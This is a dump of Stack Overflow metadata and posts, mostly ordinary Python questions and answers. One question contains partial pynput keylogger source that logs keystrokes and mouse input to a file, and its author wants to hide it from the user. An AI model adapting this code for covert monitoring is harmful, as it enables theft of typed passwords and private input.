downvote count: 0
has comment: http://stackoverflow.com/comment/81576358
has comment: http://stackoverflow.com/comment/81576193
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/101987272
has comment: http://stackoverflow.com/comment/81575747
has comment: http://stackoverflow.com/comment/81576533
accepted answer of: http://stackoverflow.com/q/47305174
has comment: http://stackoverflow.com/comment/81572820

matplotlib
tags question: http://stackoverflow.com/q/47366824
tags question: http://stackoverflow.com/q/47354185
tags question: http://stackoverflow.com/q/47308848
tags question: http://stackoverflow.com/q/47265604
tags question: http://stackoverflow.com/q/47372459
tags question: http://stackoverflow.com/q/47260531
tags question: http://stackoverflow.com/q/47246451
tags question: http://stackoverflow.com/q/47311632
tags question: http://stackoverflow.com/q/47345467
tags question: http://stackoverflow.com/q/47305943
tags question: http://stackoverflow.com/q/47304294
tags question: http://stackoverflow.com/q/47242637
tags question: http://stackoverflow.com/q/47316079
tags question: http://stackoverflow.com/q/47370182
tags question: http://stackoverflow.com/q/47359559
tags question: http://stackoverflow.com/q/47373310
tags question: http://stackoverflow.com/q/47289018
tags question: http://stackoverflow.com/q/47234915
tags question: http://stackoverflow.com/q/47335851
tags question: http://stackoverflow.com/q/47226172
tags question: http://stackoverflow.com/q/47310851
tags question: http://stackoverflow.com/q/47273107
tags question: http://stackoverflow.com/q/47309730
tags question: http://stackoverflow.com/q/47267825
tags question: http://stackoverflow.com/q/47343096
tags question: http://stackoverflow.com/q/47348605
tags question: http://stackoverflow.com/q/47349654
tags question: http://stackoverflow.com/q/47288988
tags question: http://stackoverflow.com/q/47262231
tags question: http://stackoverflow.com/q/47345647
tags question: http://stackoverflow.com/q/47255746
tags question: http://stackoverflow.com/q/47366767
tags question: http://stackoverflow.com/q/47333353
tags question: http://stackoverflow.com/q/47250670
tags question: http://stackoverflow.com/q/47298070
tags question: http://stackoverflow.com/q/47223782
tags question: http://stackoverflow.com/q/47352929
tags question: http://stackoverflow.com/q/47375691
tags question: http://stackoverflow.com/q/47358835
tags question: http://stackoverflow.com/q/47290286
tags question: http://stackoverflow.com/q/47330282
tags question: http://stackoverflow.com/q/47343170
tags question: http://stackoverflow.com/q/47247646
tags question: http://stackoverflow.com/q/47253394
tags question: http://stackoverflow.com/q/47353014
tags question: http://stackoverflow.com/q/47294970
tags question: http://stackoverflow.com/q/47351874
tags question: http://stackoverflow.com/q/47308886
tags question: http://stackoverflow.com/q/47226600
tags question: http://stackoverflow.com/q/47292229
tags question: http://stackoverflow.com/q/47299082
tags question: http://stackoverflow.com/q/47348245
tags question: http://stackoverflow.com/q/47251752
tags question: http://stackoverflow.com/q/47268860
tags question: http://stackoverflow.com/q/47356726
tags question: http://stackoverflow.com/q/47348287
tags question: http://stackoverflow.com/q/47332924
tags question: http://stackoverflow.com/q/47336183
tags question: http://stackoverflow.com/q/47296180
tags question: http://stackoverflow.com/q/47240638
tags question: http://stackoverflow.com/q/47260365
tags question: http://stackoverflow.com/q/47246446
tags question: http://stackoverflow.com/q/47275011
tags question: http://stackoverflow.com/q/47248340
tags question: http://stackoverflow.com/q/47320109
tags question: http://stackoverflow.com/q/47254763
tags question: http://stackoverflow.com/q/47262532
tags question: http://stackoverflow.com/q/47287209
tags question: http://stackoverflow.com/q/47358953
tags question: http://stackoverflow.com/q/47309918
tags question: http://stackoverflow.com/q/47238880
tags question: http://stackoverflow.com/q/47238870
tags question: http://stackoverflow.com/q/47299196
tag name: matplotlib
tags question: http://stackoverflow.com/q/47288722
tags question: http://stackoverflow.com/q/47276517
tags question: http://stackoverflow.com/q/47255386
tags question: http://stackoverflow.com/q/47342006
tags question: http://stackoverflow.com/q/47264774
tags question: http://stackoverflow.com/q/47379297

http://stackoverflow.com/comment/81719204
type: AnswerComment
comment on: http://stackoverflow.com/a/47381738
has text: Yes. When the user presses the button (Add vocabulary line) the first time, a QTextEdit will be added in 0, 0, another in 0, 1, ... when the user presses a second time on the button a QTextEdit will be added in 1, 0, another in 1, 1, ... so on every time the user presses the button a new line of QTextEdit will be added ... Yes I don't want to keep resetting dico_vocab_mot (and also dico_vocab_def). In fact a vocabulary line includes two QTextEdit (one for the vocabulary word itself and the other for the vocabulary word definition).
score: 0
type: Comment

http://stackoverflow.com/comment/81469306
has text: could you show me on my code? please...
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47258970

http://stackoverflow.com/q/47246234
has body: could someone help me select the minimum value between two keys? For example, if I have the list of dictionaries: results = [ { "model": "short", "score": 34, "alt_score": 1 }, { "model": "med", "score": 22, "alt_score": 11 }, { "model": "tall", "score": 42, "alt_score": 90 }, { "model": "xtall", "score": 83, "alt_score": 15 }, ] I want to select the dictionary that has the smallest score OR alt_score. I know how to find the dictionary w/ the smallest score or alt_score individually: min(results, key=lambda x:x['alt_score']) but I'm not sure how to look at two keys at once. I would need something like: min(results, key=lambda x:x['score', 'alt_score]) or min(results, key=lambda x:x['score'] or x:x['alt_score']) the result should return: { "model": "short", "score": 34, "alt_score": 1 } Thanks in advance!
downvote count: 0
has answer: http://stackoverflow.com/a/47246261
accepted answer: http://stackoverflow.com/a/47246261
has answer: http://stackoverflow.com/a/47246281
has answer: http://stackoverflow.com/a/47246274
possible better answer: http://stackoverflow.com/a/47246274
tagged with: python
tagged with: dictionary
tagged with: lambda
has title: Select between two minimum keys in python
favorite count: 0
score: 2
type: AnsweredQuestion
answer count: 4
has answer: http://stackoverflow.com/a/47246430
type: Question
upvote count: 2

http://stackoverflow.com/q/47274540
has comment: http://stackoverflow.com/comment/81507259
type: AnsweredQuestion
tagged with: tokenize
has body: Given the paragraph from Wikipedia: An ambitious campus expansion plan was proposed by Fr. Vernon F. Gallagher in 1952. Assumption Hall, the first student dormitory, was opened in 1954, and Rockwell Hall was dedicated in November 1958, housing the schools of business and law. It was during the tenure of F. Henry J. McAnulty that Fr. Gallagher's ambitious plans were put to action. I run NLTK nltk.sent_tokenize to get the sentences. This returns: ['An ambitious campus expansion plan was proposed by Fr.', 'Vernon F. Gallagher in 1952.', 'Assumption Hall, the first student dormitory, was opened in 1954, and Rockwell Hall was dedicated in November 1958, housing the schools of business and law.', 'It was during the tenure of Fr.', 'Henry J. McAnulty that Fr. Gallagher's ambitious plans were put to action.' ] While NTLK could handle F. Henry J. McAnulty as one entity, It failed for Fr. Vernon F. Gallagher, and this broke the sentence into two. The correct tokenization should be: [ 'An ambitious campus expansion plan was proposed by Fr. Vernon F. Gallagher in 1952.', 'Assumption Hall, the first student dormitory, was opened in 1954, and Rockwell Hall was dedicated in November 1958, housing the schools of business and law.', 'It was during the tenure of Fr. Henry J. McAnulty that Fr. Gallagher's ambitious plans were put to action.' ] How can I improve the tokenizer performance?
has comment: http://stackoverflow.com/comment/81507222
linked to: http://stackoverflow.com/q/34805790
has comment: http://stackoverflow.com/comment/81500388
answer count: 1
downvote count: 0
has title: How to improve NLTK sentence segmentation?
favorite count: 0
score: 9
type: Question
upvote count: 9
has comment: http://stackoverflow.com/comment/81504929
has comment: http://stackoverflow.com/comment/81506419
tagged with: nltk
tagged with: python
has answer: http://stackoverflow.com/a/47277732
tagged with: text-segmentation
accepted answer: http://stackoverflow.com/a/47277732
tagged with: nlp

http://stackoverflow.com/a/47380438
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47380195
type: Answer
answers question: http://stackoverflow.com/q/47380195
has body: As the comment by David you need to consider the delimeter when using the DictReader. Just replace your code with this and it should work input_file = csv.DictReader(open("HIMYM_tweets.csv"),delimeter=";")

http://stackoverflow.com/q/47285039
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81598701
has title: KeyLogger find trigger of event
tagged with: logging
tagged with: eventtrigger
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/81520278
has comment: http://stackoverflow.com/comment/81603412
has comment: http://stackoverflow.com/comment/81608151
has comment: http://stackoverflow.com/comment/81616863
tagged with: events
has body: Next year I will study applied informatics with the focus on IT Security, but I already wanna learn even more Python and about IT Security. So I tried to write a KeyLogger, which is good and works. Code later. It logs the Keyboard input and the mouse input. Now I wanna try this: I wanna have the trigger from the events: comes the input from the device, or from a bad program (then I will have the process id)? I would prefer to complete this with python code, maybe with a C/C++ library, if absolutely necessary I also would learn it with another language. But I didn´t find a solution for my problem after days of searching... Later I wanna also make this as a service, or at least that the user can´t see the Keylogger. (No, I´m a good boy, it´s 100% for my own to learn this and how to protect, I have 3 computers and wanna create a little test laboratory). It would yet be a great help if you give me links or books to learn the necessary knowledge! Here´s the code: # coding=utf-8 from pynput import mouse, keyboard import threading import time run = True f = open("log.txt", "w") def on_press(key): global run if run: try: log('{0} pressed'.format(key.char)) except AttributeError: log('{0} pressed'.format(key)) except UnicodeEncodeError: log('{0} pressed'.format(key)) # DEMO/DEBUG (hit Esc to stop) if key == keyboard.Key.esc: run = False # to close the mouse listener stop() if not run: stop() def on_release(key): if run: try: log('{0} released'.format(key.char)) except AttributeError: log('{0} released'.format(key)) except UnicodeEncodeError: log('{0} released'.format(key.char.encode("utf-8"))) if not run: stop() def on_click(x, y, button, pressed): if run: log('{0} {1} at {2}'.format(button, 'Pressed' if pressed else 'Released', (x, y))) # DEBUG/DEMO (you have to click somewhere after pressing "esc") if not run: stop() def on_scroll(x, y, dx, dy): if run: dirx = '' diry = '' if dy &gt; 0: dirx = 'up' elif dy &lt; 0: dirx = 'down' if dx &gt; 0: dirx = 'rigth' elif dx &lt; 0: …
type: Question
has comment: http://stackoverflow.com/comment/81608043
tagged with: keylogger

http://stackoverflow.com/comment/134762002
comment on: http://stackoverflow.com/a/74947847
score: 0
type: AnswerComment
has text: @PKCS12 My point was you can call powershell from Python which in turn could run another exe with elevated privileges
type: Comment

http://stackoverflow.com/a/47272667
answers question: http://stackoverflow.com/q/47272523
has comment: http://stackoverflow.com/comment/81498330
has comment: http://stackoverflow.com/comment/81498574
has comment: http://stackoverflow.com/comment/81498043
has comment: http://stackoverflow.com/comment/81538379
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81496824
has body: IIUC: In [52]: r = b.set_index('sku') \ ...: .reindex(pd.Index(a['sku']).union(pd.Index(b['sku']))) \ ...: .combine_first(a.set_index('sku').assign(qty=0, prezzo=0)) \ ...: .reset_index() ...: In [53]: r'prezzo','qty','codice' = r'prezzo','qty','codice'.astype(int) In [54]: r Out[54]: sku nome prezzo qty codice 0 1 uno 20 2 11111 1 2 due 20 2 22222 2 3 tre 20 2 33333 3 4 quattro 0 0 44444 4 5 cinque 20 2 55555 5 10 dieci 20 2 101010 6 11 undici 20 2 111111
has comment: http://stackoverflow.com/comment/81496957
has comment: http://stackoverflow.com/comment/81538498
score: 1
has comment: http://stackoverflow.com/comment/81497673
type: Answer
has comment: http://stackoverflow.com/comment/81539543
accepted answer of: http://stackoverflow.com/q/47272523
has comment: http://stackoverflow.com/comment/81496526

http://stackoverflow.com/q/47344910
score: 0
has comment: http://stackoverflow.com/comment/81641777
has comment: http://stackoverflow.com/comment/81642276
has comment: http://stackoverflow.com/comment/81642319
tagged with: datetime
has answer: http://stackoverflow.com/a/47345130
tagged with: python
possible better answer: http://stackoverflow.com/a/47345130
has answer: http://stackoverflow.com/a/47345134
type: Question
accepted answer: http://stackoverflow.com/a/47345134
has comment: http://stackoverflow.com/comment/81641686
has comment: http://stackoverflow.com/comment/81642120
answer count: 2
has comment: http://stackoverflow.com/comment/81642184
has title: Cannot get object DateTimeField gte issue
has comment: http://stackoverflow.com/comment/81641667
has comment: http://stackoverflow.com/comment/81641648
tagged with: django
has body: I have an object class Promo( models.Model ): name = models.CharField(verbose_name="Name")) promo_name = models.CharField(verbose_name="Promo Name", max_length=255, null=True, default='') status = models.CharField( max_length=255, choices=( ('publish', 'Published'), ('draft', 'Drafted') ), default='publish',) start_date = models.DateTimeField(editable=True, auto_now=False, null=True, ) expire_date = models.DateTimeField(editable=True, auto_now=False, null=True, ) def __str__(self): return "%s" % (self.name, ) My settings.py: LANGUAGE_CODE = 'en-us' TIME_ZONE = "Asia/Jakarta" USE_I18N = True USE_L10N = True USE_TZ = True One of the object value is: When i filter only the status, it has no problem, but when i want to "get the Promo that have start_date greater than current_datetime, i keep failing, i don't know why, i tried to make the datetime into UTC format since Django seems to return the start_date as UTC timezone. But still fail. My code: import pytz from django.utils import timezone the_promo = Promo.objects.all().filter(status='publish').first() # test start_date = the_promo.start_date start_date_utc = start_date current_datetime_date_in_asia_jakarta = timezone.localtime(start_date_utc) current_datetime = datetime.now(pytz.timezone('Asia/Jakarta') current_datetime_utc = datetime.now(pytz.timezone('UTC')) if current_datetime_utc &gt; start_date_utc: b='bigger!' else: b='not bigger' the_promo_to_be_used2 = Promo.objects.all().filter(start_date__gte=current_datetime_utc, status='publish').first() Example values from debug: start_date = 2017-11-17 06:17:49+00:00 start_date_utc = 2017-11-17 06:17:49+00:00 current_datetime = 2017-11-17 13:49:13.212000+07:00 current_datetime_utc = 2017-11-17 06:49:13.212000+00:00 b = 'bigger!' # this works how come the query does not work? but the_promo_to_be_used2 keeps getting None
type: AnsweredQuestion

http://stackoverflow.com/q/47298880
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81549226
type: UnansweredQuestion
has title: Python script that rectify's a given word in an .rtf file
answer count: 1
tagged with: python
has body: I'm new to python currently studying on it. I have a syntax like this: def main(): #with auto \1 &amp; \2 on replacement search_replace_mixed = {'eousisienl':'consistent'} #no auto variable on replacement search_replace_exact = {'eousisienl':'consistent'} which would rectify a misspelled word and i do not know what's next. My source document is .RTF and I wanted a python script that rectifies a word from the above syntax. Or if you have better ways to do it. Can you help me?
has comment: http://stackoverflow.com/comment/81550194
has comment: http://stackoverflow.com/comment/81549264
has comment: http://stackoverflow.com/comment/81549184
score: 0
has comment: http://stackoverflow.com/comment/81550360
has comment: http://stackoverflow.com/comment/81549345
has answer: http://stackoverflow.com/a/47299135

http://stackoverflow.com/q/47310071
tagged with: pip
has answer: http://stackoverflow.com/a/47655392
favorite count: 0
type: Question
tagged with: cstdint
type: AnsweredQuestion
tagged with: python
accepted answer: http://stackoverflow.com/a/47655392
has title: Cstdint Missing Error When Installing Pydaedalus with PiP
score: 2
upvote count: 2
tagged with: python-3.x
has body: I am working on an application which involves route finding (a completely different subject), but for testing I need example mazes to test on. A colleague suggested I use pydaedalus to generate large scale mazes in the format I need. I am using the following code to try and install the module: $pip3.6 install pydaedalus This returns the following error: -Wno-error=format-security In file included from daedalus/_maze.cpp:467: In file included from daedalus/wrapper.h:8: daedalus/src/util.h:31:10: fatal error: 'cstdint' file not found #include &lt;cstdint&gt; ^ 1 error generated. error: command '/usr/bin/clang' failed with exit status 1 I have done some research and have found nothing which addresses this. I have also done some (limited) C++ development using cstdint, which has always worked. I came across this question, but it appears to address a separate issue. I am developing in OSX 10.10.5 Any help that you can provide is much appreciated!
downvote count: 0
linked to: http://stackoverflow.com/q/10116724
answer count: 1

http://stackoverflow.com/comment/81405373
type: Comment
score: 0
type: AnswerComment
has text: He has a shebang line at the top of his script. That tells the script to use Python automatically. He's just using a Linux shebang instead of a Windows one.
comment on: http://stackoverflow.com/a/47227492

http://stackoverflow.com/comment/81565990
comment on: http://stackoverflow.com/a/47305268
has text: Here, the user probably needs to update. When something does not work as expected, I consider it more useful to look in the documentation how it should work and use this as a starting point.
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/81431260
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47240427
has text: So why no score is bigger than 0.5 even if it is detecting correctly?

http://stackoverflow.com/q/47377790
type: AnsweredQuestion
score: 0
tagged with: encoding
upvote count: 1
answer count: 1
downvote count: 1
has title: Python binary string representation
tagged with: string
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47377942
accepted answer: http://stackoverflow.com/a/47377942
has body: can anyone please help me with following issue: I have a str1 defined locally as str1 = 'CV\xca\x86\x11\x85\x01\xc8' and str2 received from another layer of code: print str2 gives 'CV\xca\x86\x11\x85\x01\xc8' so they look identical, however: print binascii.hexlify(str1) gives 4356ca86118501c8 or INT: 4852288325706645960 but for str2 print binascii.hexlify(str2) gives 43565c7863615c7838365c7831315c7838355c7830315c786338 or int 108206947078930905153039906183652663420044626270557263434900280 The problem seems to be probably different encoding where print chardet.detect(str1) gives me my local encoding: {'confidence': 0.73, 'language': '', 'encoding': 'Windows-1252'} print chardet.detect(str2) gives {'confidence': 1, 'language': '', 'encoding': 'ascii'} How can I modify the str2 to get the same hex or int values from it like for str1?
tagged with: python

relational-database
type: Tag
tag name: relational-database
tags question: http://stackoverflow.com/q/47322286

http://stackoverflow.com/comment/81431759
type: Comment
type: QuestionComment
score: 0
has text: You need to add self to all the functions
comment on: http://stackoverflow.com/q/47240737

http://stackoverflow.com/comment/81536681
has text: Thank you for the solution @jezrael. It is a big help :)
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47292882

http://stackoverflow.com/comment/81589461
score: 0
type: Comment
has text: @T.Mic Edited with while loop version
comment on: http://stackoverflow.com/a/47297651
type: AnswerComment

http://stackoverflow.com/comment/81421117
comment on: http://stackoverflow.com/q/47235401
type: QuestionComment
has text: try `SlotMachine.playRound()`
score: 0
type: Comment

http://stackoverflow.com/q/47294304
score: 9
upvote count: 9
tagged with: python
accepted answer: http://stackoverflow.com/a/47372849
tagged with: flask
has answer: http://stackoverflow.com/a/47372849
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47347910
tagged with: flask-login
answer count: 2
has title: How to mock `current_user` in flask templates?
has answer: http://stackoverflow.com/a/47347910
downvote count: 0
has body: I want to mock flask-login's current_user under the template rendering. This function return the current logged user. Right now I'm mocking the AnnonymousUserMixin from flask-login which is returned by default if the user is not authenticated. But this leads to all kind of juggles. If I could simply mock current_user I would be able to create a Mocked object for it to return. Here a sample of what I'm using today: import unnittest from flask_login.mixins import AnonymousUserMixin class TestFoo(unittest.TestCase): @patch.object(AnonymousUserMixin, 'is_admin', create=True, return_value=False) @patch.object(AnonymousUserMixin, 'is_authenticated', return_value=True) def test_user_restriction(self, *args): ... Regards,
tagged with: jinja2
favorite count: 0
type: Question

http://stackoverflow.com/q/47360506
has body: I'm trying to subclass torch.FloatTensor in Python 3 and am having trouble calling the superclass __init__. Minimal example: import inspect import torch x = [[1, 2], [3, 4]] print(torch.FloatTensor(x)) ''' 1 2 3 4 [torch.FloatTensor of size 2x2] ''' print(inspect.signature(torch.FloatTensor.__init__)) ''' (self, /, *args, **kwargs) ''' class Image(torch.FloatTensor): def __init__(self, arg): print(inspect.signature(super().__init__)) super().__init__(arg) Image(x) ''' (*args, **kwargs) --------------------------------------------------------------------------- TypeError Traceback (most recent call last) &lt;ipython-input-369-4b1aee6414f6&gt; in &lt;module&gt;() 21 super().__init__(arg) 22 ---&gt; 23 Image(x) &lt;ipython-input-369-4b1aee6414f6&gt; in __init__(self, arg) 19 def __init__(self, arg): 20 print(inspect.signature(super().__init__)) ---&gt; 21 super().__init__(arg) 22 23 Image(x) TypeError: object.__init__() takes no parameters ''' I'm relatively new to Python so I might be missing something obvious. Why does it say object.__init__() takes no parameters when inspecting shows it can take (*args, **kwargs)? Edit: torch.FloatTensor is defined here. It is derived from torch._TensorBase which is defined here.
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81674057
upvote count: 2
has comment: http://stackoverflow.com/comment/81674169
type: UnansweredQuestion
has title: TypeError: object.__init__() takes no parameters trying to subclass torch.FloatTensor
tagged with: python
tagged with: inheritance
has comment: http://stackoverflow.com/comment/81674441
has comment: http://stackoverflow.com/comment/81674895
score: 2
answer count: 0
tagged with: pytorch
has comment: http://stackoverflow.com/comment/81674920
has comment: http://stackoverflow.com/comment/81674676
downvote count: 0
has comment: http://stackoverflow.com/comment/81674710

http://stackoverflow.com/q/47381865
has comment: http://stackoverflow.com/comment/81716347
has comment: http://stackoverflow.com/comment/81716668
has comment: http://stackoverflow.com/comment/81716599
accepted answer: http://stackoverflow.com/a/47382231
tagged with: pandas
has comment: http://stackoverflow.com/comment/81716589
answer count: 1
has answer: http://stackoverflow.com/a/47382231
has comment: http://stackoverflow.com/comment/81716482
has comment: http://stackoverflow.com/comment/81716774
has comment: http://stackoverflow.com/comment/81716965
type: Question
has comment: http://stackoverflow.com/comment/81716617
has comment: http://stackoverflow.com/comment/81716278
has body: Hi my code looks like this: data = pd.read_csv('people_wiki.csv') obama = data.loc[data['name'].str.strip() == 'Barack Obama'] print(str(obama['text'])) my output is: 35817 barack hussein obama ii brk husen bm born augu... Name: text, dtype: object I don't know why do i see this 35817 - which is index in my data and both "Name", "dtype" values? i have tried different approach but nothing worked so far
has comment: http://stackoverflow.com/comment/81716433
has title: Python Dataframe wrong slicing
tagged with: dataframe
has comment: http://stackoverflow.com/comment/81716513
tagged with: python
has comment: http://stackoverflow.com/comment/81716905
has comment: http://stackoverflow.com/comment/81716516
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81716432
has comment: http://stackoverflow.com/comment/81716387

http://stackoverflow.com/comment/81424753
has text: It looks correct, but you could also simply use `numpy.cumsum`.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47227373
score: 0

http://stackoverflow.com/comment/81457586
score: 0
has text: I edited the OP, explaining how the problem arises because I am in a for loop making multiple plots. Haven't solved the problem yet, but it's got something do with the fact that I am plotting things in for loop.
comment on: http://stackoverflow.com/q/47244225
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47300012
has body: If your tweets are in a .txt like this file and pattern of lines of tweets are same as you described in the question then you can try this approach: import re import json pattern=r'\d{2}:\d{2}:\d{2}\s([a-zA-Z].+)' sentiment_dict={'hate' :1,'hurt':1,'hurting':1,'like':5,'lonely':1,'love':10} final=[] with open('senti.txt','r+') as f: for line in f: data = [] match=re.finditer(pattern,line) for find in match: if find.group(1).split(): final.append(find.group(1).split()) line=[] for item in final: final_dict = {} for sub_item in item: if sub_item in sentiment_dict: if sub_item not in final_dict: final_dict[sub_item]=[sentiment_dict.get(sub_item)] else: final_dict[sub_item].append(sentiment_dict.get(sub_item)) line.append((item,len(item),{key: sum(value) for key,value in final_dict.items()})) result=json.dumps(line,indent=2) print(result) output: [ [ [ "Sometimes", #tweets line or all words "I", "wish", "my", "life", "was", "a", "movie;", "#unreal", "I", "hate", "the", "fact", "I", "feel", "lonely", "surrounded", "by", "so", "many", "ppl" ], 21, #count of words in tweets { "lonely": 1, #sentiment count "hate": 1 } ], [ [ "I", "wish", "I", "could", "lay", "up", "with", "the", "love", "of", "my", "life", "And", "watch", "cartoons", "all", "day." ], 17, { "love": 10 } ], [ [ "I", "hate", "to", "feel", "lonely", "at", "times" ], 7, { "lonely": 1, "hate": 1 } ] ] Options for regex if one pattern doesn't work for your file: r'[a-zA-Z].+' #if you use this change find.group(1) to find.group() r'(?&lt;=\d.\s)[a-zA-Z].+' #if you use this change find.group(1) to find.group() r'\d{2}:\d{2}:\d{2}\s([a-zA-Z].+)' r'\b\d{2}:\d{2}:\d{2} (.+)' #group(1)
downvote count: 0
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/47298802
score: 1

http://stackoverflow.com/comment/81468686
type: QuestionComment
type: Comment
has text: obviously we need to know more about server configurations
comment on: http://stackoverflow.com/q/47259008
score: 0

median
tags question: http://stackoverflow.com/q/47321823
type: Tag
tags question: http://stackoverflow.com/q/47267826
tag name: median

http://stackoverflow.com/q/47260823
has answer: http://stackoverflow.com/a/47260871
possible better answer: http://stackoverflow.com/a/47260871
has body: def getJson(filmList): film_json = FilmJson() for video in filmList: videoName = video.videoName videoUrl = video.videoUrl videoTime = video.videoTime dic = {} if videoName is None: break if videoUrl is None: dic['videourl'] = "" else: dic['videourl'] = videoUrl if videoTime is None: dic['videotime'] = "" else: dic['videotime'] = videoTime dic['videoname'] = videoName film_json.videolist.append(dic) dict__ = film_json.__dict__ print(dict__) return dict__ The browser send get request the backend print {'filmid': '', 'videolist': [{'videourl': '', 'videotime': '', 'videoname': 'Lifeline'}, {'videourl': '', 'videotime': '', 'videoname': 'Ex Static'}, {'videourl': '', 'videotime': '', 'videoname': 'test'}]} . @api_view(http_method_names=['GET']) @permission_classes((permissions.AllowAny,)) def sendFilm(request): .... myjson = jsonbean.getJson(filmList) return Response(json.dumps(myjson,ensure_ascii=False)) The postman test get result "{\"filmid\": \"\", \"videolist\": [{\"videourl\": \"\", \"videotime\": \"\", \"videoname\": \"Lifeline\"}, {\"videourl\": \"\", \"videotime\": \"\", \"videoname\": \"Ex Static\"}, {\"videourl\": \"\", \"videotime\": \"\", \"videoname\": \"test\"}]}" how to resolve the problem
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47260857
answer count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/47260907
score: 1
upvote count: 1
tagged with: http://stackoverflow.com/tag/json
has title: python json.dumps()’s data is contain \, how to clean it
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47260857

http://stackoverflow.com/comment/81414546
type: QuestionComment
comment on: http://stackoverflow.com/q/47231398
has text: @Coldspeed. Yes, the first df was set up to demonstrate the problem. You're solution does work, although I find the issue a little weird.
score: 0
type: Comment

http://stackoverflow.com/a/47330090
has body: assuming your auto increment column is named id You could use a not in clause delete from my_table where id not IN ( select max(id) from my_table group by col1, col2, col3, col4 ) id this way you delete all the row that have more then on istance for the same col1, col2, col3, col4 and you let in db the row with max(id) for each of this
has comment: http://stackoverflow.com/comment/81619088
score: 0
type: Answer
answers question: http://stackoverflow.com/q/47329994
has comment: http://stackoverflow.com/comment/81613249

http://stackoverflow.com/q/47240801
downvote count: 0
tagged with: selenium
upvote count: 1
favorite count: 0
tagged with: phantomjs
score: 1
tagged with: python
has title: Using Python with Selenium and PhantomJS change screen resolution?
type: Question
answer count: 0
type: UnansweredQuestion
has body: I'm running headless ubuntu server where I have some web scraper running but I have one big issue with PhantomJS. The browser.set_window_size(1920, 1080)does nothing... if I print: print(browser.execute_script('return window.screen.width')) print(browser.execute_script('return window.screen.height')) Without fail no matter what I do, I get only 1024x768 this must be hardcoded or something. I have even tried to use fake "monitor" via xserver-xorg-video-dummy on OS level, or pyvirtualdisplay and xvfb with no luck... its always 1024x768, and i'm getting crazy from it :D ( it print my normal resolution if I run that on normal windows machine )

http://stackoverflow.com/q/47238897
has answer: http://stackoverflow.com/a/47238931
tagged with: python-imaging-library
type: UnansweredQuestion
has body: from PIL import Image import pytesseract import argparse import cv2 import os image = Image.open("C:/Users/NB/Desktop/Scan/Arti818.jpg") #image = "C:/Users/NB/Desktop/Scan/Arti818.jpg" gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # check to see if we should apply thresholding to preprocess the # image gray = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)[1] # make a check to see if median blurring should be done to remove # noise # write the grayscale image to disk as a temporary file so we can # apply OCR to it filename = "{}.png".format(os.getpid()) cv2.imwrite(filename, gray) # load the image as a PIL/Pillow image, apply OCR, and then delete # the temporary file text = pytesseract.image_to_string(Image.open(filename)) os.remove(filename) print(text) # show the output images cv2.imshow("Image", image) cv2.imshow("Output", gray) cv2.waitKey(0) This is my code and I am getting following error: gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) TypeError: src is not a numpy array, neither a scalar
tagged with: python
has title: PIL - TypeError: src is not a numpy array, neither a scalar
upvote count: 2
score: 1
answer count: 1
downvote count: 1
favorite count: 0
type: Question
tagged with: numpy

http://stackoverflow.com/comment/81453438
comment on: http://stackoverflow.com/q/47250857
has text: @TedPetrou The original dataframe consists of the above dataframe exlcuding the signal column which I got from yahoo finance. I later added the "signal" column as well as the "1" 's where the trading strategy gives me a "buy signal". The problem I'm having is that I need to keep track of when the strategy should sell the particular stock. By adding more 1's to the dataframe above I'll be able to distinguish between when I'm holding the stock or not in order to track my gains/losses. The original day is the first one in the dataframe.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47303166
has title: Python - Update Dictionary With User Input
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47304099
type: UnansweredQuestion
tagged with: python
tagged with: dictionary
answer count: 4
has answer: http://stackoverflow.com/a/47303333
has comment: http://stackoverflow.com/comment/81557354
has comment: http://stackoverflow.com/comment/81557208
has answer: http://stackoverflow.com/a/47303286
has answer: http://stackoverflow.com/a/47303409
score: 0
has body: For this part of my program, I need to write code that will allow the user to update the dictionary. The key is the employee ID, and the updatable fields are their name, department, and title. So that when the updated record is viewed it would display the new name, title, and department. Where Employees is the dictionary. This is what i have so far: while Choice == '2': dict_key = input('Enter the employee ID of the employee to change the record: ') if dict_key in Employees: n = 3 print('Enter the new Name, Department, and Title') for i in range(n): updates = input().split(' ') Employees[dict_key] = updates[0][1][2] print('\n') else: print('ERROR: That record does not exist!') print('\n') Continue = input('Press 1 to update another employee record or 2 to exit: ') print('\n') if Continue == '2': print('*' * 80) break When running this code i get the following error: Traceback (most recent call last): line 43, in &lt;module&gt; Employees[dict_key] = updates[0][1][2] IndexError: string index out of range Desired output for ex: If employee ID 1234 = John,IT,Programmer and the updates were: John Doe, IT, Manager. Employee ID 1234 should = John Doe,IT,Manager after the update entries. Edit I was trying to program this in a way where the user could enter the updates individually (name first, title second..) and update the dictionary for the key value (1234) with all three inputs to get my desired output. Sorry if my code is a mess, I am learning python at the moment. Also sorry if my post is a mess, first time here as well.
upvote count: 1
downvote count: 1

http://stackoverflow.com/comment/81402660
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47226033
has text: Addendum: I got the meaning of the condition backwards myself. Please check my update. General principle remains the same, though.
type: Comment

http://stackoverflow.com/a/47251626
has comment: http://stackoverflow.com/comment/81460105
